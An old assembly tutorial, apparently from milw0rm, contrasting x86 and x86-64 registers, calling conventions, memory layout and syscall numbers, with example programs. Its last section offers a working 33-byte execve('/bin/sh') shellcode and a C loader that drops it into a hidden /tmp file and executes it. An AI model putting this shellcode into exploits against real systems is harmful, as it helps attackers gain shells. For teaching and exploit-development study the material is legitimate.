[ - [ - Basic differences between x86 Assembly and X86-64 Assembly [ - [ - By Gustavo C. aka hophet [ - [ - http://www.openvms-rocks.com/~hophet/ [ - Rex1 - Introduction Rex2 - Registers Rex3 - Memory Rex4 - Debugging Rex5 - Examples Rex6 - More information -[ Introduction Heys guys, the interests here is showing you the basic differences between x86 assembly and X86-64 assembly, more information about assembly see the end of the file. The architecture tested here is AMD64. -[ Registers Now we have more space : %ah/al - 8 bits %ax - 16 bits %eax - 32 bits %rax - 64 bits And more eight integer registers, r8-r15: %rXb - 8 bits %rXw - 16 bits %rXd - 32 bits %rX - 64 bits Where X is from 8 to 15 Now the registers are: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp, %r8-%r15, %rip, %eflags, %cs, %ss, %ds, %es, %fs, %gs: (gdb) i r rax 0x8 8 rbx 0x0 0 rcx 0x4000d7 4194519 rdx 0x8 8 rsi 0x5000d8 5243096 rdi 0x1 1 rbp 0x0 0x0 rsp 0x7fffffff7a90 0x7fffffff7a90 r8 0x0 0 r9 0x0 0 r10 0x0 0 r11 0x302 770 r12 0x0 0 r13 0x0 0 r14 0x0 0 r15 0x0 0 rip 0x4000d7 0x4000d7 eflags 0x202 514 cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 To write 64 bits instructions use quad-word suffix 'q': movq $0x4, %rax Exception for stack operations (pop, push, call, ret, enter, leave). 32 bits operations are translated to 64 bits values with zeros. In 8 and 16 bits operations are used the lower part of registers. The used sequence of registers are: %rax, for number of syscall, %rdi, %rsi, %rdx, %rcx, %r8, %9, for arguments. The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9. If the object is memory , pass the argument on the stack. A called function preserve %rbp, %rbx, from %r12 up to %r15 registers. A system-call is done via the 'syscall' instruction. The kernel destroys registers %rcx and %r11. The returning of functions are stored on %rax. Before we used the 'int $0x80' for calling the kernel, now we use the 'syscall' for the same. Here are a table of usage of the registers: Preserved across Register Usage function calls temporary register; with variable arguments No %rax passes information about the number of SSE reg- isters used; 1st return register callee-saved register; optionally used as base Yes %rbx pointer used to pass 4th integer argument to functions No %rcx used to pass 3rd argument to functions; 2nd return No %rdx register stack pointer Yes %rsp callee-saved register; optionally used as frame Yes %rbp pointer used to pass 2nd argument to functions No %rsi used to pass 1st argument to functions No %rdi used to pass 5th argument to functions No %r8 used to pass 6th argument to functions No %r9 temporary register, used for passing a functions No %r10 static chain pointer temporary register No %r11 callee-saved registers Yes %r12-r15 used to pass and return floating point arguments No %xmm0 %xmm1 used to pass floating point arguments No %xmm2 %xmm7 temporary registers No %xmm8 %xmm15 temporary registers No %mmx0 %mmx7 temporary registers; used to return long No %st0,%st1 double arguments temporary registers No %st2 %st7 Reserved for system (as thread specific data register No %fs SSE2 control and status word partial mxcsr x87 status word No x87 SW x87 control word Yes x87 CW -[ Memory It is only necessary to handle 48-bit addresses: "0x00007fff ffffffff" The page size may have between 4KB and 64KB. Begin of memory: 0 (Process Segment) Dynamic Segments: 0x80000000000 End of memory: 0xffffffffffffffff (Reserved System Area) Image of memory: --------------------------------- ... 0x80000000000 Dynamic segments Stack segment ... ... Data segments ... 0x400000 Text segments 0 Unmapped --------------------------------- -[ Debugging Some information about debugging process, here we are going to see the internal parts of a X86-64 binaries. See the ELF Header for AMD64: For AMD64 information, use "e_ident[]" from Elf64_Ehdr (/usr/include/elf.h) Just to see the changes: $ readelf -h write ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x4000b0 Start of program headers: 64 (bytes into file) Start of section headers: 272 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 64 (bytes) Number of section headers: 5 Section header string table index: 2 $ objdump -D write 1: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: eb 28 jmp 4000da 00000000004000b2 : 4000b2: 5e pop %rsi 4000b3: 48 c7 c0 01 00 00 00 mov $0x1,%rax 4000ba: 48 c7 c7 01 00 00 00 mov $0x1,%rdi 4000c1: 48 c7 c2 08 00 00 00 mov $0x8,%rdx 4000c8: 0f 05 syscall 4000ca: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax 4000d1: 48 c7 c7 01 00 00 00 mov $0x1,%rdi 4000d8: 0f 05 syscall 00000000004000da : 4000da: e8 d3 ff ff ff callq 4000b2 00000000004000df : 4000df: 31 32 xor %esi,(%rdx) 4000e1: 33 34 35 36 37 0a 00 xor 0xa3736(,%rsi,1),%esi $ strace ./write execve("./write", ["./write"], [/* 33 vars */]) = 0 write(1, "1234567\n", 81234567 ) = 8 _exit(1) = ? Remember, the number of syscalls has changed, see your syscalls numbers in: /usr/include/asm-x86_64/unistd.hash Convert the decimal numbers to hex numbers for use in your code (see: man ascii) Here are my "unistd.h" on X86_64: #define __NR_read 0 #define __NR_write 1 #define __NR_open 2 #define __NR_close 3 #define __NR_stat 4 #define __NR_fstat 5 #define __NR_lstat 6 #define __NR_poll 7 #define __NR_lseek 8 #define __NR_mmap 9 #define __NR_mprotect 10 #define __NR_munmap 11 #define __NR_brk 12 #define __NR_rt_sigaction 13 #define __NR_rt_sigprocmask 14 #define __NR_rt_sigreturn 15 #define __NR_ioctl 16 #define __NR_pread64 17 #define __NR_pwrite64 18 #define __NR_readv 19 #define __NR_writev 20 #define __NR_access 21 #define __NR_pipe 22 #define __NR_select 23 #define __NR_sched_yield 24 #define __NR_mremap 25 #define __NR_msync 26 #define __NR_mincore 27 #define __NR_madvise 28 #define __NR_shmget 29 #define __NR_shmat 30 #define __NR_shmctl 31 #define __NR_dup 32 #define __NR_dup2 33 #define __NR_pause 34 #define __NR_nanosleep 35 #define __NR_getitimer 36 #define __NR_alarm 37 #define __NR_setitimer 38 #define __NR_getpid 39 #define __NR_sendfile 40 #define __NR_socket 41 #define __NR_connect 42 #define __NR_accept 43 #define __NR_sendto 44 #define __NR_recvfrom 45 #define __NR_sendmsg 46 #define __NR_recvmsg 47 #define __NR_shutdown 48 #define __NR_bind 49 #define __NR_listen 50 #define __NR_getsockname 51 #define __NR_getpeername 52 #define __NR_socketpair 53 #define __NR_setsockopt 54 #define __NR_getsockopt 55 #define __NR_clone 56 #define __NR_fork 57 #define __NR_vfork 58 #define __NR_execve 59 #define __NR_exit 60 #define __NR_wait4 61 #define __NR_kill 62 #define __NR_uname 63 #define __NR_semget 64 #define __NR_semop 65 #define __NR_semctl 66 #define __NR_shmdt 67 #define __NR_msgget 68 #define __NR_msgsnd 69 #define __NR_msgrcv 70 #define __NR_msgctl 71 #define __NR_fcntl 72 #define __NR_flock 73 #define __NR_fsync 74 #define __NR_fdatasync 75 #define __NR_truncate 76 #define __NR_ftruncate 77 #define __NR_getdents 78 #define __NR_getcwd 79 #define __NR_chdir 80 #define __NR_fchdir 81 #define __NR_rename 82 #define __NR_mkdir 83 #define __NR_rmdir 84 #define __NR_creat 85 #define __NR_link 86 #define __NR_unlink 87 #define __NR_symlink 88 #define __NR_readlink 89 #define __NR_chmod 90 #define __NR_fchmod 91 #define __NR_chown 92 #define __NR_fchown 93 #define __NR_lchown 94 #define __NR_umask 95 #define __NR_gettimeofday 96 #define __NR_getrlimit 97 #define __NR_getrusage 98 #define __NR_sysinfo 99 #define __NR_times 100 #define __NR_ptrace 101 #define __NR_getuid 102 #define __NR_syslog 103 #define __NR_getgid 104 #define __NR_setuid 105 #define __NR_setgid 106 #define __NR_geteuid 107 #define __NR_getegid 108 #define __NR_setpgid 109 #define __NR_getppid 110 #define __NR_getpgrp 111 #define __NR_setsid 112 #define __NR_setreuid 113 #define __NR_setregid 114 #define __NR_getgroups 115 #define __NR_setgroups 116 #define __NR_setresuid 117 #define __NR_getresuid 118 #define __NR_setresgid 119 #define __NR_getresgid 120 #define __NR_getpgid 121 #define __NR_setfsuid 122 #define __NR_setfsgid 123 #define __NR_getsid 124 #define __NR_capget 125 #define __NR_capset 126 #define __NR_rt_sigpending 127 #define __NR_rt_sigtimedwait 128 #define __NR_rt_sigqueueinfo 129 #define __NR_rt_sigsuspend 130 #define __NR_sigaltstack 131 #define __NR_utime 132 #define __NR_mknod 133 #define __NR_uselib 134 #define __NR_personality 135 #define __NR_ustat 136 #define __NR_statfs 137 #define __NR_fstatfs 138 #define __NR_sysfs 139 #define __NR_getpriority 140 #define __NR_setpriority 141 #define __NR_sched_setparam 142 #define __NR_sched_getparam 143 #define __NR_sched_setscheduler 144 #define __NR_sched_getscheduler 145 #define __NR_sched_get_priority_max 146 #define __NR_sched_get_priority_min 147 #define __NR_sched_rr_get_interval 148 #define __NR_mlock 149 #define __NR_munlock 150 #define __NR_mlockall 151 #define __NR_munlockall 152 #define __NR_vhangup 153 #define __NR_modify_ldt 154 #define __NR_pivot_root 155 #define __NR__sysctl 156 #define __NR_prctl 157 #define __NR_arch_prctl 158 #define __NR_adjtimex 159 #define __NR_setrlimit 160 #define __NR_chroot 161 #define __NR_sync 162 #define __NR_acct 163 #define __NR_settimeofday 164 #define __NR_mount 165 #define __NR_umount2 166 #define __NR_swapon 167 #define __NR_swapoff 168 #define __NR_reboot 169 #define __NR_sethostname 170 #define __NR_setdomainname 171 #define __NR_iopl 172 #define __NR_ioperm 173 #define __NR_create_module 174 #define __NR_init_module 175 #define __NR_delete_module 176 #define __NR_get_kernel_syms 177 #define __NR_query_module 178 #define __NR_quotactl 179 #define __NR_nfsservctl 180 #define __NR_getpmsg 181 #define __NR_putpmsg 182 #define __NR_afs_syscall 183 #define __NR_tuxcall 184 #define __NR_security 185 #define __NR_gettid 186 #define __NR_readahead 187 #define __NR_setxattr 188 #define __NR_lsetxattr 189 #define __NR_fsetxattr 190 #define __NR_getxattr 191 #define __NR_lgetxattr 192 #define __NR_fgetxattr 193 #define __NR_listxattr 194 #define __NR_llistxattr 195 #define __NR_flistxattr 196 #define __NR_removexattr 197 #define __NR_lremovexattr 198 #define __NR_fremovexattr 199 #define __NR_tkill 200 #define __NR_time 201 #define __NR_futex 202 #define __NR_sched_setaffinity 203 #define __NR_sched_getaffinity 204 #define __NR_set_thread_area 205 #define __NR_io_setup 206 #define __NR_io_destroy 207 #define __NR_io_getevents 208 #define __NR_io_submit 209 #define __NR_io_cancel 210 #define __NR_get_thread_area 211 #define __NR_lookup_dcookie 212 #define __NR_epoll_create 213 #define __NR_epoll_ctl_old 214 #define __NR_epoll_wait_old 215 #define __NR_remap_file_pages 216 #define __NR_getdents64 217 #define __NR_set_tid_address 218 #define __NR_restart_syscall 219 #define __NR_semtimedop 220 #define __NR_fadvise64 221 #define __NR_timer_create 222 #define __NR_timer_settime 223 #define __NR_timer_gettime 224 #define __NR_timer_getoverrun 225 #define __NR_timer_delete 226 #define __NR_clock_settime 227 #define __NR_clock_gettime 228 #define __NR_clock_getres 229 #define __NR_clock_nanosleep 230 #define __NR_exit_group 231 #define __NR_epoll_wait 232 #define __NR_epoll_ctl 233 #define __NR_tgkill 234 #define __NR_utimes 235 #define __NR_vserver 236 #define __NR_vserver 236 #define __NR_mbind 237 #define __NR_set_mempolicy 238 #define __NR_get_mempolicy 239 #define __NR_mq_open 240 #define __NR_mq_unlink 241 #define __NR_mq_timedsend 242 #define __NR_mq_timedreceive 243 #define __NR_mq_notify 244 #define __NR_mq_getsetattr 245 #define __NR_kexec_load 246 #define __NR_waitid 247 #define __NR_add_key 248 #define __NR_request_key 249 #define __NR_keyctl 250 -[ Examples Compile assembly code with: $ as --64 code.s -o code.o $ ld -m elf_x86_64 code.o -o code Compile C code with: $ gcc -m64 code.c -o code ------ write1.s ------ .text .globl _start _start: xor %rdx, %rdx pushq $0x8 pop %rdx call STR N: .string "ABCDEFG\n" STR: pop %rsi pushq $0x1 pop %rdi pushq $0x1 # write (1) pop %rax syscall pushq $0x1 pop %rdi pushq $0x3c # exit(3c) pop %rax syscall ------ write1.s ------ ------ write2.s ------ .data N: .string "1234567\n" .text .globl _start _start: xor %rdx, %rdx pushq $0x8 pop %rdx pushq $N pop %rsi pushq $0x1 pop %rdi pushq $0x1 # write (1) pop %rax syscall pushq $0x1 pop %rdi pushq $0x3c # exit(3c) pop %rax syscall ------ write2.s ------ ------ execve1.s ------ .data SH: .string "/bin/sh" .text .globl _start _start: xorq %rdx, %rdx movq SH,%rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi movq $0x3b,%rax # execve(3b) syscall movq $0x1, %rdi movq $0x3c, %rax # exit(3c) syscall ------ execve1.s ------ A dummy for shellcode writers: ------ execve2.s ------ # [Linux/X86-64] # Dummy for shellcode: # execve("/bin/sh", ["/bin/sh"], NULL) .text .globl _start _start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx # /bin/shFF shr $0x8, %rbx # /bin/sh, without 8 bits (FF) push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi mov $0x3b,%al # execve(3b) syscall pushq $0x1 pop %rdi pushq $0x3c # exit(3c) pop %rax syscall ------ execve.s ------ The shellcode for your fun moments: ------ shellcode.c ------ /* * [Linux/X86-64] * Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL) * 33 bytes */ #include #include #include #include #include #include #include #include char shellcode[] = "\x48\x31\xd2" // xor %rdx,%rdx "\x48\xbb\xff\x2f\x62\x69\x6e" // mov $0x68732f6e69622fff,%rbx "\x2f\x73\x68" "\x48\xc1\xeb\x08" // shr $0x8,%rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp,%rdi "\x48\x31\xc0" // xor %rax,%rax "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp,%rsi "\xb0\x3b" // mov $0x3b,%al "\x0f\x05"; // syscall int main(void) { void (*p)(); int fd; printf("Lenght: %d\n", strlen(shellcode)); fd = open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); if (fd < 0) err(1, "open"); write(fd, shellcode, strlen(shellcode)); if ((lseek(fd, 0L, SEEK_SET)) < 0) err(1, "lseek"); p = (void (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0); if (p == (void (*)())MAP_FAILED) err(1, "mmap"); p(); return 0; } ------ shellcode.c ------ -[ More information http://www.x86-64.org/documentation/assembly http://www.x86-64.org/documentation/abi-0.98.pdf http://www.amd.com/us-en/Processors/TechnicalResources/0,,30_182_739_7044,00.html http://www.jorgon.freeserve.co.uk/GoasmHelp/64bits.htm Thanks ZuM by revision! (__) /-------(--) / EOF \/ * ||----|| # milw0rm.com [2006-11-10]